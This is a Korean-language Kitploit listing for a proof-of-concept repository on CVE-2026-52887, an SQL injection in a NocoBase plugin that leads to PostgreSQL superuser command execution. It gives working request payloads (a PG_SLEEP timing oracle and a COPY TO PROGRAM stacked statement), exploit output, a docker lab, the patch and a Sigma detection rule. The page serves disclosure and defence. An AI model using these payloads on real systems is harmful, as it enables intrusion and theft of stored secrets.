Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-52887-NocoBase-SQLi-RCE — CVE-2026-52887 — NocoBase SQL 인젝션 -> PostgreSQL 슈퍼유저 RCE (myInAppChannels:list 필터, CVSS 10.0). 저자 PoC + 소스 분석 + docker 랩. | Kitploit
도구/GitHubGitHub/biitts/cve-2026-52887-nocobase-sqli-rce
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingDatabase SecurityLabs & Practice
GitHubbiitts/cve-2026-52887-nocobase-sqli-rce

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-52887-NocoBase-SQLi-RCE

CVE-2026-52887 — NocoBase SQL 인젝션 -> PostgreSQL 슈퍼유저 RCE (myInAppChannels:list 필터, CVSS 10.0). 저자 PoC + 소스 분석 + docker 랩.

저장소 보기
17일 전아직 검토되지 않음

CVE-2026-52887 — NocoBase SQL 삽입 → PostgreSQL 슈퍼유저 RCE

NocoBase의 @nocobase/plugin-notification-in-app-message (≤ 2.0.60)에 포함된 myInAppChannels:list 액션에서 SQL 삽입이 발생합니다. filter[latestMsgReceiveTimestamp][$lt] 요청 파라미터는 이스케이프나 바인딩 없이 원시 Sequelize.literal() SQL 문자열에 직접 보간됩니다. PostgreSQL pg 드라이버의 스택드 스테이트먼트 지원을 통해 삽입은 COPY … TO PROGRAM에 도달하며, 공급업체의 기본 compose가 nocobase DB 역할을 슈퍼유저로 생성하기 때문에 postgres OS 사용자 권한으로 셸 명령 실행으로 이어집니다. 이 엔드포인트는 로그인한 사용자가 필요하지만, 기본 auth-basic 플러그인은 자체 가입이 활성화된 상태로 제공되므로 익명 방문자도 등록하고 접근할 수 있습니다.

CVECVE-2026-52887
제품NocoBase (@nocobase/plugin-notification-in-app-message)
영향 범위≤ 2.0.60 (nocobase/nocobase:2.0.57에서 확인)
수정 버전2.0.61
분류SQL 삽입 (CWE-89) → OS 명령 실행
CVSS 3.110.0 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (GitHub CNA)
인증사실상 인증 불필요 — 기본 auth-basic allowSignUp: true
상태취약점 확인됨 — 2.0.57에서 엔드투엔드 검증 완료

근본 원인

packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/defineMyInAppChannels.ts, myInAppChannels:list 핸들러 (2.0.57):

root@kitploit:~
const latestMsgReceiveTSFilter = filter?.latestMsgReceiveTimestamp?.$lt
    ? Sequelize.literal(`${latestMsgReceiveTimestampSQL} < ${filter.latestMsgReceiveTimestamp.$lt}`)
    : null;

filter.latestMsgReceiveTimestamp.$lt는 요청 쿼리 (filter[latestMsgReceiveTimestamp][$lt]=…)에서 그대로 가져오며 Sequelize.literal()에 연결됩니다 — 원시 SQL, 파라미터 바인딩 없음, 타입 강제 변환 없음. 공격자는 비교식을 닫고 임의의 SQL을 추가합니다.

SQLi에서 RCE까지

  • NocoBase는 pg 드라이버를 통해 PostgreSQL에서 실행되며, 이 드라이버는 스택드 스테이트먼트(… ; …)를 허용합니다. 주입된 조각이 두 번째 문을 추가합니다.
  • 공급업체의 기본 docker-compose.yml은 postgres 이미지의 POSTGRES_USER를 통해 nocobase 역할을 생성하는데, 이는 항상 슈퍼유저입니다.
  • 슈퍼유저는 COPY (…) TO PROGRAM '<shell>'을 실행하여 DB 컨테이너 내부에서 postgres OS 사용자로 <shell>을 실행할 수 있습니다.

엔드포인트에 인증 없이 접근

myInAppChannels ACL은 loggedIn이지만 기본 auth-basic 플러그인은 allowSignUp: true로 제공됩니다. 익명 공격자는 스스로 등록하고 (POST /api/auth:signUp?authenticator=basic), 로그인하여 bearer 토큰을 얻은 다음 진행합니다 — 따라서 기본 설치에서는 실제로 인증이 필요 없습니다.

수정 (2.0.61)

defineMyInAppChannels.ts에 parseLatestMsgReceiveTimestampLt()가 추가되어 값을 Number()로 강제 변환하고(비유한 수 / 비숫자 입력은 400으로 거부) 바인딩된 비교로 전환합니다:

root@kitploit:~
Sequelize.where(Sequelize.literal(latestMsgReceiveTimestampSQL), Op.lt, latestMsgReceiveTimestampLt)

개념 증명

root@kitploit:~
$ python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1"
[+] auth-basic signUp을 통해 'lab_operator' 자체 등록
[+] 로그인 성공, bearer 토큰 획득
[*] 시간 기반: PG_SLEEP(5)=5.03s  대조군=0.02s
[+] SQL 삽입 확인 (시간 기반)
[+] COPY TO PROGRAM 전송 (HTTP 200) - 'id > /tmp/proof 2>&1'가 postgres OS 사용자로 실행됨

$ docker exec nb-pg cat /tmp/proof
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)

원시 HTTP 체인:

root@kitploit:~
POST /api/auth:signUp?authenticator=basic          {"username":"a","password":"P!ssw0rd1","confirm_password":"P!ssw0rd1"}
POST /api/auth:signIn?authenticator=basic           {"account":"a","password":"P!ssw0rd1"}  → {"data":{"token":"…"}}

# 시간 기반 오라클 (약 5초 지연):
GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0)%20AND%201=(SELECT%201%20FROM%20PG_SLEEP(5))--%20a
Authorization: Bearer <token>

# 스택드 스테이트먼트 RCE:
GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0);%20COPY%20(SELECT%201)%20TO%20PROGRAM%20'id%20>%20/tmp/proof'; --%20a
Authorization: Bearer <token>

--cmd는 모든 셸 명령을 허용합니다 (리버스 셸, OAST 콜백, COPY (SELECT …) TO PROGRAM 'cat > /tmp/x'를 통한 DB 행 읽기 등).

실습 환경 재현

이 호스트에는 docker 브리지가 없으므로 두 컨테이너를 호스트 네트워킹으로 실행합니다:

root@kitploit:~
docker run -d --name nb-pg --network host \
  -e POSTGRES_USER=nocobase -e POSTGRES_PASSWORD=nocobase -e POSTGRES_DB=nocobase postgres:16
docker run -d --name nb-app --network host \
  -e DB_DIALECT=postgres -e DB_HOST=127.0.0.1 -e DB_PORT=5432 \
  -e DB_DATABASE=nocobase -e DB_USER=nocobase -e DB_PASSWORD=nocobase \
  -e APP_KEY=change-me -e APP_PORT=13000 nocobase/nocobase:2.0.57
# NocoBase가 자동 설치되고 http://127.0.0.1:13000에서 서비스됩니다
python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1"
docker exec nb-pg cat /tmp/proof

수정 버전 경계 (거부됨):

root@kitploit:~
docker run ... nocobase/nocobase:2.0.61   # 동일한 단계
# PG_SLEEP / COPY TO PROGRAM 페이로드는 HTTP 400을 반환합니다. 숫자형 $lt는 여전히 200을 반환합니다

캡처된 트랜스크립트는 EVIDENCE.txt를, 소스 수준 분석은 ANALYSIS.md를 참조하세요.

판정

취약점 확인됨 — nocobase/nocobase:2.0.57, 두 가지 독립적인 기법으로 검증됨:

  1. 시간 기반 블라인드 — PG_SLEEP(5) 페이로드는 응답을 약 5.0초 지연시키는 반면, 동일 엔드포인트에서 수면 없이 동일한 요청은 약 0.03초 만에 응답합니다 (속도 제한 / 재시도 아티팩트 배제).
  2. 스택드 스테이트먼트 RCE — 요청 전에 존재하지 않았던 파일에 uid=999(postgres) gid=999(postgres)가 포함되어 있습니다. 이는 postgres OS 사용자로 실행된 id(1)의 실제 출력이지 페이로드의 에코가 아닙니다.

패치됨 — nocobase/nocobase:2.0.61에서 두 페이로드 모두 HTTP 400을 반환하는 반면, 숫자형 $lt는 여전히 200을 반환합니다.

영향

데이터베이스 컨테이너 내부에서 postgres OS 사용자로 원격 코드 실행: NocoBase 데이터베이스의 전체 읽기/쓰기, 저장된 모든 비밀과 사용자 자격 증명의 노출, 그리고 수평 이동을 위한 발판. 기본 설치에서는 익명 방문자 누구나 도달할 수 있습니다.

완화 조치

  • NocoBase ≥ 2.0.61로 업그레이드하세요.
  • 애플리케이션의 PostgreSQL 역할을 슈퍼유저로 실행하지 말고 앱에 필요한 권한만 부여하세요 (COPY … TO PROGRAM 프리미티브 제거).
  • 필요하지 않은 곳에서는 공개 자체 가입을 비활성화하세요 (allowSignUp: false).

탐지

filter[latestMsgReceiveTimestamp][$lt] 값이 일반 숫자가 아닌 myInAppChannels:list 요청, 그리고 COPY … TO PROGRAM이 포함된 PostgreSQL 로그:

root@kitploit:~
GET /api/myInAppChannels:list  with filter[latestMsgReceiveTimestamp][$lt] containing
   non-numeric characters: ')', ';', 'SELECT', 'PG_SLEEP', 'COPY', '--'
postgres: statement: COPY (...) TO PROGRAM '...'

Sigma (웹서버 접근 로그):

root@kitploit:~
title: NocoBase myInAppChannels SQL injection (CVE-2026-52887)
logsource: { category: webserver }
detection:
  selection:
    cs-uri-stem|contains: '/api/myInAppChannels:list'
    cs-uri-query|contains:
      - 'PG_SLEEP'
      - 'TO PROGRAM'
      - '$lt]=0)'
      - '$lt]=0);'
  condition: selection
level: critical

라이선스

MIT. © Caio Fabrício (BiiTts).

도구 다운로드